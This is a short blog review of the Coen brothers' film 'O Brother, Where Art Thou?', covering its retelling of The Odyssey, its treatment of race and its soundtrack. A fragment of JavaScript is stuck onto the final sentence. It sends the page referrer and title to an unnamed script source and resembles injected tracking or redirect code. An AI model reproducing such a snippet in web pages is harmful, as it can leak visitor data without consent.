Essential Film: O Brother, Where Art Thou?

Director: Joel Coen

Released: 2000

O Brother


By Georgia Wilkinson

Nobody has the time or determination to read The Odyssey. It’s all in verse, only bits of it rhyme, and it’s all about the “rosy fingered dawn” and “Athene of the flashing eyes” – I mean who can be bothered with that kind of talk?

Well, as an English Lit student I can, and because I’m pretty nerdy I actually quite enjoy it. But everyone needs a break, and when I can’t look at a page any more but still fancy some Odyssey goodness (yes, that’s a thing), I turn to O Brother Where Art Thou? And if you want to read classical literature without actually reading classical literature, then that’s a damn good place to start.

The Coen’s Brothers’ tenth film resets Homer’s story in the American South in the 1930s, and instead of the majestic King making his troubled journey home, George Clooney, John Turturro and Tim Blake Nelson star as three escaped convicts, on the run and in search of treasure. Cue police chases in vintage cars, an unlikely friendship with possibly the greatest blues guitarist ever, captured by the literal Devil and a run in with some sirens, which created the immortal line “She done sexed him up and turned him into a frawg!”

The story is engaging and heartfelt, following the archetypal loveable rouges through their quest not only for treasure, but for family and for freedom, and stunningly well written. Lines that seemed off-the-cuff jokes at the time come back to haunt the characters, following them through the barren wilderness, and the topic of race – impossible to miss in the South in the 30s, when membership of the KKK was sky-rocketing – is handled with a stunning mixture of gravity and humour which treats the horrific atmosphere of hate and divisiveness with a comedy that reconciles it to the tone of the rest of the film, tying scenes critical to the story into the narrative without a hitch, where they could have stuck out like a sore thumb.

O Brother Where Art Thou? is a very, very excellent film, and it has an equally excellent soundtrack. If you already like grassroots country and blues, then it’s right up you’re street – if you don’t, then this soundtrack will open your eyes to exactly how good it can be. A gorgeous mixture of twanging guitars and banjos, slow, smooth violins, and some truly beautiful vocal harmonies, it topped the US Country Albums, Top 200 and Top Soundtracks charts between 2000 and 2002, and works not only as something fun to sing along to in the car, but as the perfect backdrop to the dustbowl of the setting.

If you like comedy, watch this film. If you like adventures, watch this film. If you like southern accents, twangy guitars, the hope of treasure, old cars throwing up clouds of dust, or people possibly being turned into frogs, watch this film. Basically – watch this film!s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;